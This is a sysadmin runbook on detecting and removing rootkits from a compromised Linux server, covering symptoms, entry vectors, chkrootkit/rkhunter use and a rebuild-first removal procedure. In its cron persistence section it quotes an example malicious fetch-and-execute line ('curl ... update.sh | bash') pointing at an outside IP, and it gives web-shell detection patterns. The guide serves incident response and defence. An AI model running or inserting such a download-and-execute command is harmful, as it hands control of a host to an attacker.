How to Detect and Remove a Rootkit From a Compromised Server

I got paged at 2 a.m. once because a client's mail server on sw-infrarunbook-01 started relaying spam at a rate that tripped our bandwidth alerts. Load average was normal, CPU was normal, but outbound SMTP connections were through the roof. Turned out to be a userland rootkit that had replaced

ps

and

netstat

with trojaned binaries so the spam process just didn't show up in any listing. That's the thing about rootkits — by design, they lie to you. The tools you'd normally reach for to investigate are often the first things compromised. This runbook walks through the symptoms that should make you suspicious, the most common root causes, and how to actually get rid of one without just reinstalling blind.

Symptoms

Rootkits are subtle by nature, so the symptoms are usually indirect. You'll rarely see "ROOTKIT DETECTED" anywhere. What you actually notice is a mismatch between what the system reports and what it's actually doing. Common tells I've run into:

• Outbound traffic or CPU usage reported by monitoring tools (Zabbix, Nagios) doesn't match what

  top

  or

  ps aux

  shows locally.
• Login history looks clean in

  last

  or

  lastlog

  , but auth logs on a remote syslog server show SSH sessions that never appear locally.
• Unexpected outbound connections to unfamiliar IPs, visible in a packet capture from a neighboring box but invisible in

  netstat -tulpn

  on the host itself.
• File integrity monitoring (AIDE, Tripwire) flags changes to binaries in

  /bin

  ,

  /sbin

  , or

  /usr/lib

  that no package manager transaction accounts for.

• chkrootkit

  or

  rkhunter

  reports warnings about hidden processes, suspicious

  LD_PRELOAD

  entries, or promiscuous network interfaces.
• Kernel log entries about unexpected module loads, or

  lsmod

  showing a module with no matching entry in

  /lib/modules/$(uname -r)

  .
• System becomes a source of outbound scanning, spam, or DDoS traffic that the admin never initiated, often first noticed by your upstream provider or a blocklist notification rather than by you.

If two or more of these line up, stop treating it as a performance problem and start treating it as an incident. Do not reboot yet — a reboot can trigger persistence mechanisms to reassert themselves and, if you're planning any forensic capture, volatile evidence in memory will be gone.

Root Cause 1: SSH Credential Compromise via Weak or Reused Passwords

This is still the number one entry point I see, hands down. An attacker brute-forces or buys a leaked password for an account like infrarunbook-admin, gets a shell, and installs a rootkit within minutes of landing to guarantee they keep access even if the password gets rotated.

To identify it, check

/var/log/auth.log

or

/var/log/secure

for a burst of failed logins followed by a success:

grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head
grep "Accepted password" /var/log/auth.log | tail -20

If you see hundreds of failures from an IP in the 10 minutes before a successful login, that's your entry vector. Fix it by disabling password auth entirely and moving to key-based SSH:

sed -i 's/^PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
systemctl restart sshd

Rotate every credential on the box afterward, not just the one that was brute-forced — assume lateral reuse.

Root Cause 2: Unpatched Web Application Leading to Remote Code Execution

A vulnerable CMS plugin or an outdated PHP framework is a very common pivot point. The attacker drops a web shell first, then uses it to escalate and install the actual rootkit at the kernel or library level.

Look for web shells in your document root — anything with recently modified timestamps that doesn't match a deploy:

find /var/www -type f -mtime -14 -name "*.php" -exec ls -la {} \;
grep -rl "eval(base64_decode" /var/www/

If you find a file like

/var/www/solvethenetwork.com/wp-content/uploads/2026/img_cache.php

containing obfuscated base64, that's your shell. Fix it by patching the application, removing the shell, and reviewing the web server's access logs around the timestamp of the file for the initial exploitation request.

Root Cause 3: Malicious or Trojaned Package from an Untrusted Repository

I've seen this on boxes where someone added a third-party APT or YUM repo to install one tool and never removed it. Months later that repo gets compromised or was malicious from the start, and a routine

apt upgrade

pulls in a trojaned package.

Check your repo list and compare installed package checksums against the vendor's:

cat /etc/apt/sources.list.d/*.list
debsums -c 2>/dev/null | head -30

On RPM-based systems:

rpm -Va | grep '^..5'

A line like

S.5....T. c /usr/bin/ps

means the size, MD5, and mtime of

ps

don't match the package database — a strong rootkit indicator. Remove the untrusted repo, reinstall affected packages from a verified source, and don't add third-party repos without pinning and GPG verification going forward.

Root Cause 4: Kernel Module (LKM) Rootkit Loaded via a Compromised Init Script

This is the nastiest category because it operates below the userland tools you'd normally trust. An LKM rootkit hooks syscalls to hide its own processes, files, and network sockets from everything running in userspace, including

ps

,

ls

, and

netstat

.

Compare

lsmod

against what's actually on disk:

lsmod | awk '{print $1}' | while read mod; do
  [ -f "/lib/modules/$(uname -r)/$(modinfo -F filename "$mod" 2>/dev/null)" ] || echo "Suspicious: $mod"
done

Also check

dmesg

for module load events you didn't trigger:

dmesg | grep -i "module" | tail -30

If you find something like

diamorphine

or an unnamed module hooking

sys_call_table

, don't try to

rmmod

it and call it done — many LKM rootkits resist unloading or reload themselves via a cron entry or init script. The safest path here is booting from a trusted rescue image (a live USB or a cloud provider's rescue mode) and inspecting the disk offline, where the compromised kernel isn't running to lie to you.

Root Cause 5: Cron or Systemd Persistence Left Behind by a Prior Compromise

Even after you think you've cleaned a box, a hidden cron job or systemd timer will silently reinstall the rootkit on a schedule. I've seen an org clean a box three times before finding a cron entry hidden with a leading space or in a nonstandard directory.

for user in $(cut -f1 -d: /etc/passwd); do crontab -u "$user" -l 2>/dev/null; done
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/
systemctl list-timers --all

Watch for entries pulling from raw pastebin-style URLs or piping straight to a shell, e.g.

curl -s http://185.220.101.7/update.sh | bash

. Remove the entry, block the destination IP at the firewall, and check

/etc/systemd/system/

for unfamiliar unit files that reference the same script.

Root Cause 6: Shared Hosting or Container Escape from a Neighboring Compromised Tenant

On multi-tenant boxes or under-isolated containers, a compromise in one site or container can pivot into the host or into siblings sharing a kernel. This is common when a customer's outdated WordPress install shares a filesystem with other sites under the same web server user.

Check whether processes are running as an unexpectedly privileged user, or whether a container has capabilities it shouldn't:

ps -eo user,pid,cmd | grep -v "^root\|^www-data"
docker inspect --format '{{.HostConfig.Privileged}} {{.HostConfig.CapAdd}}' $(docker ps -q)

Fix by isolating tenants properly — separate UIDs per site, no shared writable directories, and drop unnecessary container capabilities (

--cap-drop=ALL

plus only what's needed).

Root Cause 7: Supply Chain Compromise in a CI/CD Pipeline or Deployment Script

Less common but increasingly frequent — an attacker compromises a build pipeline or a deployment key and the rootkit ships as part of a "legitimate" deploy. This is the hardest to detect because the timestamps and checksums look like a normal release.

Cross-reference deploy logs against your CI system's build history:

git log --since="30 days ago" --pretty=format:"%h %an %ad %s" -- deploy/
stat /opt/solvethenetwork.com/releases/current/bin/app

If a binary's build timestamp doesn't correspond to any commit in your CI history, treat the deployment pipeline itself as compromised — rotate all CI secrets and deploy keys immediately, not just the server.

Running the Actual Detection Tools

Once you suspect something, run both

chkrootkit

and

rkhunter

— they catch different things and neither is complete on its own:

apt install chkrootkit rkhunter -y
chkrootkit -q
rkhunter --update
rkhunter --propupd
rkhunter --check --sk

A real hit looks something like:

Checking for preloading variables... Warning: LD_PRELOAD found in /etc/ld.so.preload
Warning: Hidden process detected: PID 4127
Warning: The file '/lib/.x.so' does not belong to any package

An

/etc/ld.so.preload

file that shouldn't exist is one of the most reliable single indicators — it's the classic mechanism for userland rootkits like Jynx2 and Azazel to inject a shared object into every dynamically linked process on the box, hiding files and connections at the libc level. Check it:

cat /etc/ld.so.preload
ls -la /lib/.x.so 2>/dev/null

If it exists and you didn't put it there, that alone confirms an active infection.

Removal — the Part Where People Cut Corners

Here's my honest opinion, and it'll be unpopular with anyone hoping to save a few hours: if you've confirmed a kernel-level rootkit, don't try to surgically clean it in place. You cannot fully trust anything the compromised kernel reports, including the output of the very tools you'd use to verify the cleanup. The only removal method I trust completely is:

1. Isolate the host from the network immediately — pull the cable, disable the virtual NIC, or apply a deny-all security group in your cloud console.
2. Snapshot the disk for forensic review if you need to know how they got in.
3. Boot into a trusted rescue environment (live ISO, cloud rescue mode) that doesn't touch the infected kernel or root filesystem at boot.
4. Mount the infected disk read-only and copy off anything you need — configs, application data, logs — after verifying it isn't itself trojaned.
5. Rebuild the server from a known-good base image. Do not restore from a backup that predates confirmation of when the compromise started, and do not trust a backup you can't date precisely against your intrusion timeline.
6. Reapply configuration from source control, not from the compromised host's dotfiles or init scripts.
7. Rotate every credential and key that ever touched that host: SSH keys, API tokens, database passwords, TLS private keys.

For a userland-only rootkit (trojaned binaries, an

ld.so.preload

hijack, no kernel module involved), you can sometimes clean in place if you're confident about scope: remove the preload file, reinstall affected packages from verified sources, and reboot. But I'd still rebuild for anything customer-facing. The cost of being wrong about "it was just userland" is far higher than the cost of a rebuild.

Prevention

Most of what stops rootkits is unglamorous hygiene, done consistently. Keep SSH key-only, disable root login over SSH, and put fail2ban or an equivalent in front of any exposed service. Patch promptly — nearly every root cause above traces back to a known vulnerability that had a patch available for weeks or months before exploitation. Run file integrity monitoring like AIDE with its database stored off-host, so an attacker who gets root still can't quietly rewrite the baseline. Schedule

rkhunter

and

chkrootkit

as cron jobs that mail results somewhere other than the host itself, since local alerting is exactly what a rootkit will suppress. Segment your network so a compromised web server can't reach your database tier or your backup infrastructure directly. And keep backups that are genuinely offline or immutable — a rootkit that persists into your nightly backup defeats the entire point of having one. Finally, log to a remote syslog target or SIEM. Local logs are the first thing a competent attacker edits; logs that already left the box before they got root are the ones you can actually trust during the postmortem.